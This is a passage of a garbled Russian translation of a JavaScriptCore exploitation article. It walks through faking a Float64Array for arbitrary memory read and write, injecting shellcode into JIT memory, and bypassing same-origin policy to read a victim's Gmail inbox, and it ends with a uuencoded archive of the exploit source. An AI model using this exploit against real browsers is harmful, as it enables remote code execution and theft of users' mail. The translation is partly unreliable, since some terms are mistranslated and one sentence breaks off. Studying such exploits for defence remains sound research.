Это приведет к созданию следующих трех экземпляров структуры, показанных здесь с (произвольным) именем свойства в сопоставлениях индексов слотов:
Code:Copy to clipboard
+-----------------+ +-----------------+
| Structure 1 | +bar | Structure 2 |
| +--------->| |
| foo: 0 | | foo: 0 |
+--------+--------+ | bar: 1 |
| +-----------------+
| +baz +-----------------+
+-------->| Structure 3 |
| |
| foo: 0 |
| baz: 1 |
+-----------------+
Всякий раз, когда этот кусок кода выполнялся снова, правильную структуру созданного объекта было бы легко найти.
По сути, сегодня все основные двигатели используют одну и ту же концепцию. V8 называет их картами или скрытыми классами [19], в то время как Spidermonkey называет их Shapes.
Эта техника также упрощает спекулятивные JIT-компиляторы. Предположим, следующая функция:
Code:Copy to clipboard
function foo(a) {
return a.bar + 3;
}
Предположим далее, что мы выполнили вышеупомянутую функцию пару раз внутри интерпретатора и теперь решили скомпилировать ее в собственный код для повышения производительности. К примеру мы имеем дело с поиском недвижимости? Мы могли бы просто выполнить поиск, но это было бы довольно долго. Предполагая, что мы также отследили объекты, которые были переданы foo в качестве аргументов, и выяснили, что все они используют одну и ту же структуру. Теперь мы можем сгенерировать (псевдо) ассемблерный код, как показано ниже. Здесь r0 изначально указывает на объект аргумента:
Code:Copy to clipboard
mov r1, [r0 + #structure_id_offset];
cmp r1, #structure_id;
jne bailout_to_interpreter;
mov r2, [r0 + #inline_property_offset];
Это всего на несколько инструкций медленнее, чем доступ к свойству на родном языке, таком как C. Обратите внимание, что идентификатор структуры и смещение свойства кэшируются внутри самого кода, поэтому имя для такого рода конструкций кода: встроенные кэши.
Помимо отображений свойства структуры также хранят ссылку на экземпляр ClassInfo. Этот экземпляр содержит имя класса («Float64Array», «HTMLParagraphElement», ...), которое также доступно из скрипта с помощью следующего небольшого взлома:
Code:Copy to clipboard
Object.prototype.toString.call(object);
// Might print "[object HTMLParagraphElement]"
Однако более важным свойством ClassInfo является его ссылка на MethodTable. MethodTable содержит набор указателей на функции, аналогичный vtable в C ++. Большинство операций, связанных с объектами [20], а также некоторые задачи, связанные со сборкой мусора (например, посещение всех ссылочных объектов), реализуются с помощью методов из таблицы методов. Чтобы дать представление о том, как используется таблица методов, показант в следующем фрагмент кода из JSArray.cpp. Эта функция является частью MethodTable экземпляра ClassInfo для массивов JavaScript и будет вызываться всякий раз, когда свойство такого экземпляра удаляется [21] скриптом
Code:Copy to clipboard
bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,
PropertyName propertyName)
{
JSArray* thisObject = jsCast<JSArray*>(cell);
if (propertyName == exec->propertyNames().length)
return false;
return JSObject::deleteProperty(thisObject, exec, propertyName);
}
Как мы видим, deleteProperty имеет уязвимость для свойства .length массива (который он не будет удалять), но в противном случае перенаправляет запрос в родительскую реализацию.
Следующая диаграмма суммирует (и немного упрощает) отношения между различными классами C ++, которые вместе создают объектную систему JSC.
Code:Copy to clipboard
+------------------------------------------+
| Butterfly |
| baz | bar | foo | length: 2 | 42 | 13.37 |
+------------------------------------------+
^
+---------+
+----------+ |
| | |
+--+ JSCell | | +-----------------+
| | | | | |
| +----------+ | | MethodTable |
| /\ | | |
References | || inherits | | Put |
by ID in | +----++----+ | | Get |
structure | | +-----+ | Delete |
table | | JSObject | | VisitChildren |
| | |<----- | ... |
| +----------+ | | |
| /\ | +-----------------+
| || inherits | ^
| +----++----+ | |
| | | | associated |
| | JSArray | | prototype |
| | | | object |
| +----------+ | |
| | |
v | +-------+--------+
+-------------------+ | | ClassInfo |
| Structure +---+ +-->| |
| | | | Name: "Array" |
| property: slot | | | |
| foo : 0 +----------+ +----------------+
| bar : 1 |
| baz : 2 |
| |
+-------------------+
- [6 - Эксплуатация
Теперь, когда мы немного больше узнали о внутренностях класса JSObject,
давайте вернемся к созданию нашего собственного экземпляра Float64Array,
который предоставит нам произвольный примитив для чтения / записи в память.
Ясно, что наиболее важной частью будет идентификатор структуры в заголовке
JSCell, поскольку связанный экземпляр структуры - это то, что делает наш
фрагмент памяти «похожим» на массив Float64Array для движка. Таким образом,
нам нужно знать идентификатор структуры Float64Array в структурной таблице.
---- [6.1 - Прогнозирование идентификаторов структуры
К сожалению, идентификаторы структуры не обязательно являются статическими для
разных прогонов, так как они распределяются во время выполнения при
необходимости. Кроме того, идентификаторы структур, созданных во время запуска
движка, зависят от версии. Таким образом, мы не знаем идентификатор структуры
экземпляра Float64Array, и нам нужно как-то его определить.
Другое небольшое осложнение возникает, поскольку мы не можем использовать произвольные идентификаторы структуры. Это связано с тем, что есть также структуры, выделенные для других ячеек сборки мусора, которые не являются объектами JavaScript (строки, символы, объекты регулярных выражений, даже сами структуры). Вызов любого метода, на который ссылается их таблица методов, приведет к сбою из-за ошибочного утверждения. Эти структуры выделяются только при запуске движка, в результате чего все они имеют довольно низкие идентификаторы.
Чтобы преодолеть эту проблему, мы воспользуемся простым подходом раздробим: мы раздробим несколько тысяч структур, которые все описывают экземпляры Float64Array, затем выберем высокий начальный идентификатор и посмотрим, правильно ли мы его выбрали.
Code:Copy to clipboard
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
}
Мы можем узнать, правильно ли мы угадали, используя «instanceof». Если мы этого не сделали, мы просто используем следующую структуру.
Code:Copy to clipboard
while (!(fakearray instanceof Float64Array)) {
// Increment structure ID by one here
}
Instanceof является довольно безопасной операцией, поскольку она будет только извлекать структуру, извлекать прототип из нее и выполнять сравнение указателей с данным объектом-прототипом.
---- [6.2 - Объединение вещей: подделка массива Float64Array
Float64Arrays реализуются собственным классом JSArrayBufferView. В дополнение
к стандартным полям JSObject этот класс также содержит указатель на
вспомогательную память (мы будем называть его «вектором», аналогичным
исходному коду), а также поле длины и режима (оба 32-битные целые числа).
Поскольку мы размещаем наш Float64Array внутри встроенных слотов другого объекта (с этого момента именуемого «контейнером»), нам придется иметь дело с некоторыми ограничениями, возникающими из-за кодировки JSValue. Конкретно мы
Из-за последнего ограничения мы установим вектор Float64Array так, чтобы он указывал на экземпляр Uint8Array:
Code:Copy to clipboard
+----------------+ +----------------+
| Float64Array | +------------->| Uint8Array |
| | | | |
| JSCell | | | JSCell |
| butterfly | | | butterfly |
| vector ------+---+ | vector |
| length | | length |
| mode | | mode |
+----------------+ +----------------+
Теперь мы можем установить указатель данных второго массива на произвольный адрес, предоставляя нам произвольную память для чтения / записи.
Ниже приведен код для создания поддельного экземпляра Float64Array с использованием наших предыдущих примитивных эксплойтов. Прикрепленный код эксплойта затем создает глобальный объект «память», который предоставляет удобные методы для чтения и записи в произвольные области памяти.
Code:Copy to clipboard
sprayFloat64ArrayStructures();
// Create the array that will be used to
// read and write arbitrary memory addresses.
var hax = new Uint8Array(0x1000);
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);
var container = {
jsCellHeader: jsCellHeader.encodeAsJSVal(),
butterfly: false, // Some arbitrary value
vector: hax,
lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};
// Create the fake Float64Array.
var address = Add(addrof(container), 16);
var fakearray = fakeobj(address);
// Find the correct structure ID.
while (!(fakearray instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.encodeAsJSVal();
}
// All done, fakearray now points onto the hax array
Чтобы «визуализировать» результат, вот некоторый вывод lldb. Контейнерный объект находится по адресу 0x11321e1a0:
Code:Copy to clipboard
(lldb) x/6gx 0x11321e1a0
0x11321e1a0: 0x0100150000001138 0x0000000000000000
0x11321e1b0: 0x0118270000001000 0x0000000000000006
0x11321e1c0: 0x0000000113217360 0x0001000000000010
(lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
(JSC::JSArrayBufferView) $0 = {
JSC::JSNonFinalObject = {
JSC::JSObject = {
JSC::JSCell = {
m_structureID = 4096
m_indexingType = '\0'
m_type = Float64ArrayType
m_flags = '\x18'
m_cellState = NewWhite
}
m_butterfly = {
JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
}
}
}
m_vector = {
JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
}
m_length = 16
m_mode = 65536
}
Обратите внимание, что m_butterfly, так же как и m_mode, недопустимы, поскольку мы не можем записать там ноль. На данный момент это не вызывает проблем, но будет проблематичным, если произойдет запуск сборки мусора. Мы разберемся с этим позже.
---- [6.3 - Выполнение шеллкода
Одна приятная особенность движков JavaScript в том, что все они используют
JIT-компиляцию. Это требует записи инструкций на страницу в памяти и
последующего их выполнения. По этой причине большинство механизмов, включая
JSC, выделяют области памяти как для записи, так и для выполнения. Это хорошая
цель. Мы будем использовать наш примитив чтения / записи памяти, чтобы
пропустить указатель в JIT-скомпилированный код для функции JavaScript, затем
запишем туда наш шелл-код и вызовем функцию, что приведет к выполнению нашего
собственного кода.
Прикрепленный PoC-эксплойт реализует это. Ниже приведена соответствующая часть функции runShellcode.
Code:Copy to clipboard
// This simply creates a function and calls it multiple times to
// trigger JIT compilation.
var func = makeJITCompiledFunction();
var funcAddr = addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
var executableAddr = memory.readInt64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
print("[+] JITCode instance @ " + jitCodeAddr);
var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
print("[+] RWX memory @ " + codeAddr.toString());
print("[+] Writing shellcode...");
memory.write(codeAddr, shellcode);
print("[!] Jumping into shellcode...");
func();
Как видно, код PoC выполняет утечку указателя, считывая пару указателей из фиксированных смещений в набор объектов, начиная с объекта функции JavaScript. Это не очень хорошо (так как смещения могут меняться между версиями), но достаточно для демонстрационных целей. В качестве первого улучшения следует попытаться обнаружить действительные указатели, используя некоторую простую эвристику (старшие биты - все ноль, «близко» к другим известным областям памяти, ...). Затем возможно обнаружить некоторые объекты на основе уникальных паттернов памяти. Например, все классы, наследуемые от JSCell (например, ExecutableBase), будут начинаться с распознаваемого заголовка. Кроме того, сам JIT-скомпилированный код, вероятно, будет начинаться с известного пролога функции.
Обратите внимание, что начиная с iOS 10, JSC больше не выделяет одну область RWX, а использует два виртуальных отображения для одной и той же области физической памяти, одно из которых является исполняемым, а другое - записываемым. Затем во время выполнения генерируется специальная версия memcpy, которая содержит (случайный) адрес записываемой области в качестве непосредственного значения и сопоставляется с --X, предотвращая чтение адреса злоумышленником. Чтобы обойти это, теперь потребуется короткая цепочка ROP, чтобы вызвать этот memcpy, прежде чем переходить к отображению исполняемого файла.
---- [6.4 - Сохранить прогресс после сбора мусора
Если мы хотим сохранить наш первоначальный эксплойт (позже мы увидим, почему
мы можем этого захотеть), мы в настоящее время столкнемся с немедленным
крахом, как только включится сборщик мусора. Это происходит, главным образом,
потому, что бабочка нашего фальсифицированного Float64Array является
недопустимым указателем, но не нулевым, и поэтому будет доступена во время GC.
Code:Copy to clipboard
Butterfly* butterfly = thisObject->m_butterfly.get();
if (butterfly)
thisObject->visitButterfly(visitor, butterfly,
thisObject->structure(visitor.vm()));
Мы могли бы установить для указателя-бабочки нашего поддельного массива
значение nullptr, но это привело бы к другому сбою, поскольку это значение
также является свойством нашего контейнерного объекта и будет рассматриваться
как указатель JSObject. Таким образом, мы будем делать следующее:
1. Создайте пустой объект. Структура этого объекта будет описывать объект с
объемом встроенного хранилища по умолчанию (6 слотов), но ни один из них не
используется.
2. Скопируйте заголовок JSCell (содержащий идентификатор структуры) в объект
контейнера. Теперь мы заставили движок «забыть» о свойствах объекта-
контейнера, составляющего наш поддельный массив.
3. Установите для указателя-бабочки поддельного массива значение nullptr и,
пока мы на нем, также заменим JSCell этого объекта на один из экземпляра
Float64Array по умолчанию.
Последний шаг обязателен, так как мы могли бы получить структуру Float64Array с некоторым свойством из-за того, что наша структура распылялась раньше.
Эти три шага дают нам устойчивый эксплойт.
В заключение отметим, что при перезаписи кода скомпилированной функции JIT необходимо позаботиться о возвращении действительного значения JSValue (если требуется продолжение пооцесса). Несоблюдение этого требования может привести к сбою во время следующего GC, поскольку возвращаемое значение будет храниться движком и проверяться компилятором.
---- [6.5 - Резюме
На данный момент пришло время для краткого обзора всего эксплойта:
1. Раздробить на Float64Array структуры
2. Выделить объект контейнера со встроенными свойствами, которые вместе
создают экземпляр Float64Array в его слотах встроенных свойств. Использовать
высокий начальный идентификатор структуры, который, вероятно, будет правильным
из-за предыдущего распыления. Установить указатель данных массива так, чтобы
он указывал на экземпляр Uint8Array.
3. Украсть адреса объектов контейнера и создать поддельный объект,
указывающий на массив Float64Array внутри объекта контейнера.
4. Проверить правильность предположения идентификатора структуры, используя
instanceof. Если нет, увеличьте идентификатор структуры, присвоив новое
значение соответствующему свойству объекта-контейнера. Повторяйте, пока у нас
не будет Float64Array.
5. Прочитать и записать в произвольные адреса памяти путем записи указателя
данных Uint8Array.
6. С помощью этого исправить контейнер и экземпляр Float64Array, чтобы
избежать сбоев во время сборки мусора.
- [7 - Злоупотребление процессом рендеринга
Обычно отсюда следующим логическим шагом было бы запускать какой-либо эксплойт
из песочницы для дальнейшего компрометации целевой машины.
Так как обсуждение этих вопросов выходит за рамки данной статьи, и из-за хорошего освещения их в других местах, давайте вместо этого исследуем нашу текущую ситуацию.
---- [7.1 - Процесс WebKit и модель привилегий
Начиная с WebKit 2 [22] (около 2011 г.), WebKit имеет многопроцессную модель,
в которой для каждой вкладки создается новый процесс рендеринга. Помимо
соображений стабильности и производительности, это также обеспечивает основу
для инфраструктуры песочницы, чтобы ограничить ущерб, который
скомпрометированный процесс визуализации может нанести системе.
---- [7.2 - Политика одинакового происхождения
Политика одного и того же происхождения (SOP) обеспечивает основу для
(клиентской) веб-безопасности. Он предотвращает вмешательство контента,
происходящего из источника A, в контент, происходящий из другого источника B.
Это включает в себя доступ на уровне сценария (например, доступ к объектам DOM
внутри другого окна), а также доступ на уровне сети (например,
XMLHttpRequests). Интересно, что в WebKit SOP применяется внутри процессов
рендеринга, что означает, что мы можем обойти его на этом этапе. То же самое в
настоящее время верно для всех основных веб-браузеров, но Chrome собирается
изменить это в своем проекте изоляции сайтов [23].
Этот факт не является чем-то новым и даже использовался в прошлом, но его стоит обсудить. По сути, это означает, что процесс визуализации имеет полный доступ ко всем сеансам браузера и может отправлять аутентифицированные запросы между источниками и читать ответ. Злоумышленник, который скомпрометировал процесс визуализации, таким образом получает доступ ко всем сеансам браузера жертвы.
В демонстрационных целях мы теперь изменим наш эксплойт для отображения почтового ящика пользователей gmail.
---- [7.3 - Кража писем
В классе SecurityOrigin в WebKit есть интересное поле: m_universalAccess. Если
установлено, это приведет к тому, что все перекрестные проверки будут
выполняться. Мы можем получить ссылку на активный в данный момент экземпляр
SecurityDomain, следуя набору указателей (смещения которых снова зависят от
текущей версии Safari). Затем мы можем включить universalAccess для нашего
процесса рендеринга и впоследствии выполнить аутентифицированные перекрестные
запросы XMLHttpRequests. Чтение писем из Gmail становится таким же простым,
как
Code:Copy to clipboard
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
xhr.send(); // xhr.responseText now contains the full response
Включена версия эксплойта, которая делает это и отображает текущую папку «Входящие» в Gmail. По причинам, которые должны быть понятны к настоящему времени, для этого требуется действительный сеанс Gmail в Safari
--[ 8 - Ссылки
[1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/
[2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/
[3] http://trac.webkit.org/wiki/JavaScriptCore
[4] <http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-data-
types-and-values>
[5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects
[6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format
[7] http://www.ecma-international.org/ecma-262/6.0/#sec-array-exotic-objects
[8] <http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-standard-
built-in-objects>
[9] <https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice>).
[10]
https://github.com/WebKit/webkit/bl...avaScriptCore/runtime/ArrayPrototype.cpp#L848
[11] <https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/species>
[12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion
[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104
[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344
[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946
[16] <https://www.gnu.org/software/guile/manual/html_node/Conservative-
GC.html>
[17] <http://www.ecma-international.org/ecma-262/6.0/#sec-ecmascript-language-
types-number-type>
[18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects
[19] https://developers.google.com/v8/design#fast-property-access
[20] <http://www.ecma-international.org/ecma-262/6.0/#sec-operations-on-
objects>
[21] [http://www.ecma-international.org/e...-internal-methods-and-internal-
slots-delete-p](http://www.ecma-international.org/ecma-262/6.0/#sec-ordinary-
object-internal-methods-and-internal-slots-delete-p)
[22] https://trac.webkit.org/wiki/WebKit2
[23] https://www.chromium.org/developers/design-documents/site-isolation
--[ 9 - Исходники
Code:Copy to clipboard
begin 644 src.zip
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
M5NN7,]'.:VV5+G]=;4:A"QT,42Q(]1""G0T!-^T`AP0T#A:\R_Q=0TQ90
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
